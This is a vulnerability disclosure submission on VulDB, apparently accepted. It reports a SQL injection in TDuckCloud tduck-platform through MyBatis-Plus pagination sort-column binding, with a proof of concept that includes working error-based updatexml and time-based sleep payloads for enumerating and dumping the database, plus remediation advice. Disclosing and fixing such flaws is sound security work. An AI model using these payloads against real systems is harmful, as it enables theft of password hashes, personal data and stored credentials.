Submit #897248: TDuckCloud tduck-platform 5.1,master < ea7f0fae7cb0fd998a3284c11addce689350cd69 SQL Injectioninfo

TitleTDuckCloud tduck-platform 5.1,master < ea7f0fae7cb0fd998a3284c11addce689350cd69 SQL Injection
DescriptionTDuckCloud tduck-platform binds the MyBatis-Plus Page object directly as a Spring web command object in multiple paginated query endpoints and passes it to IService.page(). MyBatis-Plus 3.5.3's PaginationInnerInterceptor.concatOrderBy() concatenates OrderItem.getColumn() into the SQL ORDER BY clause without any validation (hardened only in MyBatis-Plus >= x.x.x.x). Spring's data binder populates indexed properties from the query string, so a remote attacker with a low-privileged account (registration is open) can inject arbitrary SQL expressions via the orders[0].column parameter, achieving full database read access through error-based or time-based blind injection. Affected endpoints (Page bound directly from the request): - GET /form/theme/page (any registered user) - tduck-api/src/main/java/com/tduck/cloud/api/web/controller/FormThemeController.java:45 - GET /form/template/category/page (any registered user) - FormTemplateController.java:113 - GET /mange/user/page (admin) - UserManageController.java:43 - GET /sync/form/data (form owner apiKey) - SyncDataController.java:62 Root cause chain: 1. Pagination interceptor registered: tduck-api/src/main/java/com/tduck/cloud/api/config/MybatisPlusConfig.java:25-28 2. Page bound directly from request (see endpoints above); Spring binds orders[0].column from the query string into Page.orders (List of OrderItem) 3. MyBatis-Plus 3.5.3 PaginationInnerInterceptor emits OrderItem.column verbatim into ORDER BY without filtering Aggravating factor: the global exception handler (tduck-api/src/main/java/com/tduck/cloud/api/exception/BaseExceptionHandler.java:70-74) returns internal exception messages to the client, so MySQL errors (including updatexml exfiltration payloads and the full injected SQL statement) are reflected in the HTTP 500 JSON response, turning a blind injection into a trivial error-based one. Proof of concept (verified on a locally deployed instance built from master HEAD, MySQL 8.0.36, official docker/init-db seed data; no third-party or production system was tested): Prerequisites: 1. Indexed property binding requires URL-encoded brackets: orders%5B0%5D.column (raw brackets are rejected by Tomcat). 2. The target table must be non-empty - MySQL does not evaluate ORDER BY expressions for zero-row results. A normal user can insert one row via POST /form/theme (which itself lacks an admin check) before exploiting /form/theme/page. Steps: 1. Register an account and log in to obtain a token: POST /login/account {"account":"[email protected]","password":"password"} (token in response data.token; passed via the "token" request header) 2. (If fm_form_theme is empty) insert one theme row: POST /form/theme Header: token: <TOKEN> {"name":"x","style":1,"headImgUrl":"x"} 3. Error-based injection - enumerate table names: GET /form/theme/page?size=10&current=1&orders%5B0%5D.asc=true&orders%5B0%5D.column=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) Header: token: <TOKEN> Observed response (HTTP 500): {"code":500,"msg":"### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~ac_user~' ... ### SQL: SELECT ... FROM fm_form_theme ORDER BY updatexml(1,concat(0x7e,(select table_name from information_schema.tables ..."} Iterating limit N,1 enumerates every table (verified sequence: ac_user, ac_user_authorize, ac_user_token, fm_form_template, ...). Batch enumeration via group_concat(table_name) with substr() paging also verified. The response also discloses the full injected SQL statement. 4. Time-based blind variant (works even if error messages are suppressed): orders%5B0%5D.column=(select sleep(3)) -> response time ~3.02 s (baseline 0.07 s) The same technique with information_schema.columns and substr() paging over arbitrary target tables allows full database exfiltration (user password hashes, personal data, form definitions and collected submissions, third-party credentials in sys_env_config). Impact: any registered user can read the entire database, including password hashes of all users (admin included), personal information (emails, phone numbers), all form definitions and collected submission data, and third-party credentials stored in sys_env_config (OSS/SMS/AI/WeChat keys). Dumped admin credentials enable full platform takeover. Remediation: 1. Upgrade MyBatis-Plus to >= x.x.x.x (PaginationInnerInterceptor adds sort-column injection checks), or 2. Do not web-bind Page directly: accept current/size as plain parameters, construct new Page<>(current, size) server-side, and whitelist any client-supplied sort columns; 3. Return a fixed generic message for unhandled exceptions instead of e.getMessage(). Deduplication: checked against all existing CVEs for this product - none covers this injection point: - CVE-2023-37733: arbitrary file upload (different class) - CVE-2023-51805: SQLi via getFormKey in FormDataMysqlService.java (different parameter/sink) - CVE-2025-0558: SQLi via color in QueryProThemeRequest.java (different parameter/sink) - CVE-2025-7888: SQLi via formKey in UserFormDataMapper.java (different parameter/sink) - CVE-2025-8756: privilege escalation in AuthorizationInterceptor (different class) - CVE-2025-57631: SQLi via file-upload module /user/form/data/download/file (different endpoint/sink) This submission concerns SQL injection through MyBatis-Plus pagination sort-column binding (orders[].column), a distinct injection point.
User
 p5092 (UID 99952)
Submission07/20/2026 10:58 (2 months ago)
Moderation09/22/2026 18:18 (2 months later)
StatusAccepted
VulDB entry408522 [TDuckCloud tduck-platform up to 5.3 Pagination Inner Interceptor MybatisPlusConfig.java PaginationInnerInterceptor.concatOrderBy orders[0].column sql injection]
Points17

Do you need the next level of professionalism?

Upgrade your account now!